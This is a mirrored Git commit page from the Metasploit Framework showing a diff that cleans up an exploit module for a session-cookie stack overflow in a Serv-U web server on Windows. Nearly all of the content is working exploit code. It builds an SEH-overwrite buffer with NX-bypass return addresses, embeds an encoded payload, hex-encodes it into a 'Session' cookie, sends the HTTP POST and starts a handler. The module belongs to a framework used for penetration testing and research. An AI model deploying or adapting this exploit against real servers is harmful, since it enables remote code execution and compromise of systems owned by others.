github/metasploit-framework
1
Fork 0
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-05 14:57:30 +01:00
Code Releases Activity

miscellanous cleanups and minimized

Browse Source 
git-svn-id: file:///home/svn/framework3/trunk@7421 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Joshua Drake 2009-11-09 05:55:50 +00:00
parent 07cfae0f14
commit 55c32f8bb1
1 changed files with 20 additions and 27 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

47
modules/exploits/windows/http/servu_session_cookie.rb
View File

@ -25,14 +25,15 @@ class Metasploit3 < Msf::Exploit::Remote
},
'Author' =>
[
'Nikolas Rangos nikolaos[at]rangos.de',
'M.Yanagishita megumi1990[at]gmail.com ',
'jduck jduck[at]metasploit.com'
'Nikolas Rangos <nikolaos[at]rangos.de>',
'M.Yanagishita <megumi1990[at]gmail.com>',
'jduck'
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '59772' ],
[ 'URL', 'http://rangos.de/ServU-ADV.txt' ],
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2009-November/071370.html' ],
],
@ -71,41 +72,33 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
# hit end of stack..
# sploit = make_nops(50000)
sploit = rand_text(50000)
sploit = Rex::Text.rand_text(1000) * 75
# new SEH handler
sploit[40948,4] = [target['FixESP']].pack('V')
# new SEH handler (point esp into buffer)
sploit[41000,4] = [target['FixESP']].pack('V')
# stack frame to bypass NX
sploit[0,4] = [target['FixESI']].pack('V')
sploit[4,4] = [0x10200].pack('V')
sploit[8,4] = [target['FixEBP']].pack('V')
sploit[12,4] = [target['Ret']].pack('V')
sploit[16,4] = [target['JmpESP']].pack('V')
sploit[20,4] = [target['DisableNX']].pack('V')
sploit[24,2] = "\xeb\x20"
sploit[40,payload.encoded.length] = payload.encoded
# TODO: randomize!
buf = "Cookie: killmenothing; SULang=de%%2CDE; themename=vista;"
buf << " Session=_d838591b3a6257b0111138e6ca76c2c2409fb287b1473aa463db7f202caa09361bd7f8948c8d1adf4bd4f6c1c198eb9507545814"
buf << sploit.unpack('H*')[0]
buf << "\r\n"
buf << "Content-Type: multipart/form-data; boundary=---------------------------25249352331758\r\n"
buf << "Content-Length: 0\r\n"
buf << "\r\n";
sploit[52+0,4] = [target['FixESI']].pack('V')
sploit[52+4,4] = [0x10200].pack('V')
sploit[52+8,4] = [target['FixEBP']].pack('V')
sploit[52+12,4] = [target['Ret']].pack('V')
sploit[52+16,4] = [target['JmpESP']].pack('V')
sploit[52+20,4] = [target['DisableNX']].pack('V')
sploit[52+24,2] = "\xeb\x20"
sploit[52+40,payload.encoded.length] = payload.encoded
req = "POST / HTTP/1.1\r\n"
req << "Host: #{rhost}:#{rport}\r\n"
req << buf
# req << "Content-Length: #{data.length}" + "\r\n\r\n" + data + "\r\n\r\n"
req << "Cookie: Session=_"
req << sploit.unpack('H*')[0]
req << "\r\n"
req << "\r\n";
connect
print_status("Trying target #{target.name}..." % target['Ret'])
sock.put(req)
sleep(5)
select(nil, nil, nil, 1.5)
handler
end